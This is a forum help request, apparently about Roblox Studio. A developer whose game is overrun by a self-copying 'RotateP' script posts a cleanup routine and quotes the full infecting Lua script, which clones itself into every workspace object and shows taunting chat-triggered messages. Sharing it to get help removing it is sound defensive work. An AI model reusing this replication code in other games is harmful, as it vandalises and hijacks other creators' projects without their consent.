How do I locate the source of a game virus?

I'm trying to build a game and every time I go into studio, EVERY instance, whether it be part, seat, or script, has a child who's classname is RotateP. And every RotateP is named a random name (I'll get to that in a second). Every RotateP in every instance in my game also has a script named "ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere".

To solve this, I run a recursion that is as follows:

Containers = {"Folder", "Model"}

DangerousInstances = {"Script", "RotateP", "LocalScript", "Fire", "Smoke"}

function CheckDangerousInstances(instance)
    for i, v in pairs(DangerousInstances) do
        if instance:IsA(v) then
            return true
        end
    end
    return false
end

function CheckContainers(instance)
    for i, v in pairs(Containers) do
        if instance:IsA(v) then
            return true
        end
    end
    return false
end

function Recursion(Model)
    for i, v in pairs(Model:GetChildren()) do
        if CheckContainers(v) then
            Recursion(v)
        elseif v:IsA("BasePart") then
            Recursion(v)
        elseif CheckDangerousInstances(v) then
            v:Destroy()
        end
    end
end

Recursion(workspace)

Basically it deletes all scripts, rotatep's, fires, and smokes. However, the virus is back once I save and exit and then reopen studio. I can't find the source of it in my game.

Extra info: The only free models I'm using are Scripth's Admin and the f3x tool, both of which are well known and don't contain a virus. Also, here is the virus script

names={"bombvatus","justineagle","spitfire591","chillydoom","god0i0trust","bakingsoda","gotohell123","robloxsniper5","micchukelz","å9001","IStårtHere"}
local NameCheck = false
script.Parent.Name = names[math.random(1, #names)]
script.Name = [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]]
local c = script.Parent:Clone()

function addEvent(ch)
    wait(math.random())
    NameCheck = false
    for ss = 1, #names do
        if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
            NameCheck = true
        end
    end
    if NameCheck == false then
        local cloak = c:Clone()
        cloak.Name = ""
        cloak:GetChildren()[1].Name = ""
        cloak.Parent = ch
        cloak.Name = names[math.random(1, 5)]
    end
end

workspace.ChildAdded:connect(addEvent)

game.Players.PlayerAdded:connect(function(pl)
    pl.Chatted:connect(function(m)
        if m:sub(1, 5) == "/sc t" then
            local m = Instance.new("Message")
            m.Parent = workspace
            m.Text = "THEY CALL ME CRAZY"
            wait(1)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "GOTTA GOTTA BE CRAZY"
            wait(1)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "GOTTA GET A LIFE (YOU)"
            wait(3)
            m:remove()
        end
        if m:sub(1, 5) == "HAAXX" then
            local m = Instance.new("Message")
            m.Parent = workspace
            m.Text = "HAAXX"    
            wait(3)
            m:remove()
        end
    end)
end)

while true do
    local s = workspace:GetChildren()
    for i = 1, #s do
        NameCheck = false
        for ss = 1, #names do
            if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
                NameCheck = true
            end
        end
        if NameCheck == false then
            local cloak = c:Clone()
            cloak.Name = ""
            cloak:GetChildren()[1].Name = ""
            cloak.Parent = s[i]
        end
        wait(0.1)
    end
    wait(1)
end